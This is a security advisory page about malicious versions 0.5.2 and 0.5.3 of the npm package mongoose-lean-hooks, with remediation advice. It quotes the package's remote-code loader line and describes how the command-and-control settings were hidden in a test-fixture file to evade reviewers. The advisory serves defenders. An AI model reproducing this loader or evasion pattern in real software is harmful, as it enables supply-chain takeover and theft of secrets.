Malicious code in mongoose-lean-hooks (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (540ace1cb8bc936ea953554a9ffc28203370f82cb5e5a7dfbf1454bf0e834b9a) On `require('mongoose-lean-hooks')`, the package's main entry (index.js) runs a top-level async IIFE that issues an HTTP GET to http://mongos-hooks-api.vercel.app/defy/v3 with a bearer-style header. When the response is a 404 carrying a `token` string field, that server-controlled string is passed to `Function.constructor` with `require` bound in and immediately invoked (`const handler = new (Function.constructor)("require", res.token); handler(require);`), yielding arbitrary code execution in the consumer's Node process with full `require` access. The endpoint, path, and header token are hidden in test/config_test.js under a `module.exports` shaped like a benign test fixture and imported by the production entry — a deliberate evasion to make reviewers skim past the C2 configuration as test scaffolding. The package name and description mimic the legitimate mongoose plugin ecosystem (advertising createdAt/updatedAt timestamp functionality) to encourage installs. The plaintext HTTP destination and dynamic-payload design mean the attacker can change the delivered code at any time without republishing. ## Source: ghsa-malware (51f21ca8cb459221a26134e631f974e5a26cb292386a957c75da31b538119c61) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
AI Analysis
Technical Summary
The mongoose-lean-hooks package versions 0.5.2 and 0.5.3 distributed via npm contain malicious code that compromises any computer running or having installed these versions. The compromise is severe enough to consider the system fully controlled by an attacker, necessitating secret and key rotation from a different machine. Removal of the package alone does not guarantee removal of all malicious artifacts or backdoors introduced by the package.
Potential Impact
Systems with mongoose-lean-hooks versions 0.5.2 or 0.5.3 installed are fully compromised. Attackers may have gained full control, potentially exposing all stored secrets and keys. The integrity and confidentiality of the affected system cannot be assured without comprehensive remediation.
Mitigation Recommendations
Remove the mongoose-lean-hooks package versions 0.5.2 and 0.5.3 immediately. Rotate all secrets and keys stored on the compromised system from a separate, secure computer. Because full control may have been granted to attackers, consider rebuilding or thoroughly cleaning the affected system to ensure complete removal of malicious software.
Malicious code in mongoose-lean-hooks (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (540ace1cb8bc936ea953554a9ffc28203370f82cb5e5a7dfbf1454bf0e834b9a) On `require('mongoose-lean-hooks')`, the package's main entry (index.js) runs a top-level async IIFE that issues an HTTP GET to http://mongos-hooks-api.vercel.app/defy/v3 with a bearer-style header. When the response is a 404 carrying a `token` string field, that server-controlled string is passed to `Function.constructor` with `require` bound in and immediately invoked (`const handler = new (Function.constructor)("require", res.token); handler(require);`), yielding arbitrary code execution in the consumer's Node process with full `require` access. The endpoint, path, and header token are hidden in test/config_test.js under a `module.exports` shaped like a benign test fixture and imported by the production entry — a deliberate evasion to make reviewers skim past the C2 configuration as test scaffolding. The package name and description mimic the legitimate mongoose plugin ecosystem (advertising createdAt/updatedAt timestamp functionality) to encourage installs. The plaintext HTTP destination and dynamic-payload design mean the attacker can change the delivered code at any time without republishing. ## Source: ghsa-malware (51f21ca8cb459221a26134e631f974e5a26cb292386a957c75da31b538119c61) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The mongoose-lean-hooks package versions 0.5.2 and 0.5.3 distributed via npm contain malicious code that compromises any computer running or having installed these versions. The compromise is severe enough to consider the system fully controlled by an attacker, necessitating secret and key rotation from a different machine. Removal of the package alone does not guarantee removal of all malicious artifacts or backdoors introduced by the package.
Potential Impact
Systems with mongoose-lean-hooks versions 0.5.2 or 0.5.3 installed are fully compromised. Attackers may have gained full control, potentially exposing all stored secrets and keys. The integrity and confidentiality of the affected system cannot be assured without comprehensive remediation.
Mitigation Recommendations
Remove the mongoose-lean-hooks package versions 0.5.2 and 0.5.3 immediately. Rotate all secrets and keys stored on the compromised system from a separate, secure computer. Because full control may have been granted to attackers, consider rebuilding or thoroughly cleaning the affected system to ensure complete removal of malicious software.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-6797
- Osv Schema Version
- 1.7.4
- Aliases
- ["GHSA-98h3-p825-wwhh"]
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a4c345427e9c797195fe056
Added to database: 07/06/2026, 23:03:48 UTC
Last enriched: 07/06/2026, 23:29:18 UTC
Last updated: 07/31/2026, 10:14:36 UTC
Views: 81
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.